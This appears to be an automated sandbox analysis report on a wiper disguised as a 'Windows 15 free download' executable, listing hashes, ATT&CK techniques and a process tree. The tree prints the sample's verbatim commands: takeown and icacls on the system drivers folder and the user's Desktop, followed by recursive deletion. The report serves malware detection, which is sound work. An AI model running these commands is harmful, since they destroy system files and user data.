ddb284ecb37d4b9760786bca61ffabcabaec0784bb5566329ec98fa6bc819a5e

Analysis

max time kernel
125s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03/08/2024, 12:00

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General

Target
windows 15 free download!.exe
Size 2.0MB
Sample240803-n6erjasdkr
SHA256 ddb284ecb37d4b9760786bca61ffabcabaec0784bb5566329ec98fa6bc819a5e
MD5 e2022f2260e35ca1af8c6e11d0e9cd4b
SHA1 97b7239e74a51344e8eab9de5e7e953b7fcc2993
SHA512 5d876cffff70612dfcd4af70805c192bf1a294730d62b4f0ff7676655d9fda13e7a9b50a8b57364f3e4585a4747323b668e51b50cf6bb72a48ed5b9911bb6d22
SSDEEP 24576:UzQJ12LJAJViNRnbURt73SCYb0EHOhDXm:cQJ1sAJViNRbURJsYVm
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery exploit

Malware Config

Signatures

Drops file in Drivers directory 64 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\system32\drivers\crashdmp.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\dxgmms2.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\filecrypt.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\Ndu.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\null.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\tdi.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\UMDF\en-US\IddCx.dll.mui	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\i8042prt.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\kdnic.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\monitor.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\NdisVirtualBus.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\winhvr.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\dfsc.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\udfs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\UMDF\en-US\WUDFUsbccidDriver.dll.mui	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\bowser.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\lltdio.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mssmbios.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\ndiscap.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\pacer.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\vhdmp.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\cdfs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\kbdclass.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mrxsmb.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\tbs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\tcpipreg.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\usbhub.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\vwififlt.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\csc.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\nsiproxy.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\wcifs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\Diskdump.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mpsdrv.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\netbt.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\Rtnic64.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\ZOAKNR~1.SYS	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\cimfs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\drmk.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\hidclass.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\hidparse.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\ks.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\UMDF\en-US\wpdmtpdr.dll.mui	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\amdppm.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\fsdepends.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mmcss.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\msfs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\npfs.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\rteth.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\UMDF\en-US\Microsoft.Bluetooth.Profiles.HidOverGatt.dll.mui	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\cdrom.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\hidusb.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mouclass.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\mrxsmb20.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\npsvctrig.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\rdbss.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\rdpbus.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\afunix.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\dumpfve.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\msquic.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\usbehci.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\Vid.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\ksthunk.sys	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\UMDF\en-US\idtsec.dll.mui	cmd.exe
File opened for modification	\??\c:\windows\system32\drivers\usbport.sys	cmd.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
4156	takeown.exe
2468	icacls.exe
532	icacls.exe
1884	takeown.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	windows 15 free download!.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1884	takeown.exe
4156	takeown.exe
2468	icacls.exe
532	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1884	takeown.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 3608	2704	windows 15 free download!.exe	93
PID 2704 wrote to memory of 3608	2704	windows 15 free download!.exe	93
PID 3608 wrote to memory of 1884	3608	cmd.exe	95
PID 3608 wrote to memory of 1884	3608	cmd.exe	95
PID 2704 wrote to memory of 3536	2704	windows 15 free download!.exe	96
PID 2704 wrote to memory of 3536	2704	windows 15 free download!.exe	96
PID 2704 wrote to memory of 1604	2704	windows 15 free download!.exe	98
PID 2704 wrote to memory of 1604	2704	windows 15 free download!.exe	98
PID 1604 wrote to memory of 4156	1604	cmd.exe	100
PID 1604 wrote to memory of 4156	1604	cmd.exe	100
PID 1604 wrote to memory of 2468	1604	cmd.exe	101
PID 1604 wrote to memory of 2468	1604	cmd.exe	101
PID 3608 wrote to memory of 532	3608	cmd.exe	102
PID 3608 wrote to memory of 532	3608	cmd.exe	102

C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe
"C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && rd/s/q c:\windows\system32\drivers && exit
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1884
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\drivers\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k move C:\Users\Admin\AppData\Local\Temp\windows 15 free download!.exe %appdata%\sys.exe && exit
  2⤵
  PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "C:\Users\Admin\Desktop"\* && icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F) && del/s/q "C:\Users\Admin\Desktop"\* && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Users\Admin\Desktop"\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4156
- - C:\Windows\system32\icacls.exe
    icacls "C:\Users\Admin\Desktop"\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4112,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4632 /prefetch:8
1⤵
PID:1004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ

Path C:\Users\Admin\DesktoppevQgxiEpjSrDZjAzUJlLchhBfQmKiMwzoBiWybxDUUnFSkSrsrtEKmqDCyZjEeUHMsrQCOZijIPfioNeedDpSZrNAvYmmTAtBDZ
Size 33B
SHA256 035d41e45719293bb97c9e824c40a43191465ca49f2f81669c662dddd8fcfb36
MD5 7eca8ff8fc41366b7fcf2f9ee5f362a8
SHA1 0f748fd5520a7b0025266ad405efbc81d68aef43
SHA512 2b021f638fdc871460000d6bf89120c16cb600c2175a0416e275b294354c99a10ac37d36e1e70ccd93839f0693febec11d39288ebba63019f4b6279f93789f9f
MD5 SHA1 SHA512

Submit Download

memory/2704-0-0x00007FF63EA60000-0x00007FF63ED39000-memory.dmp

Download

memory/2704-300-0x00007FF63EA60000-0x00007FF63ED39000-memory.dmp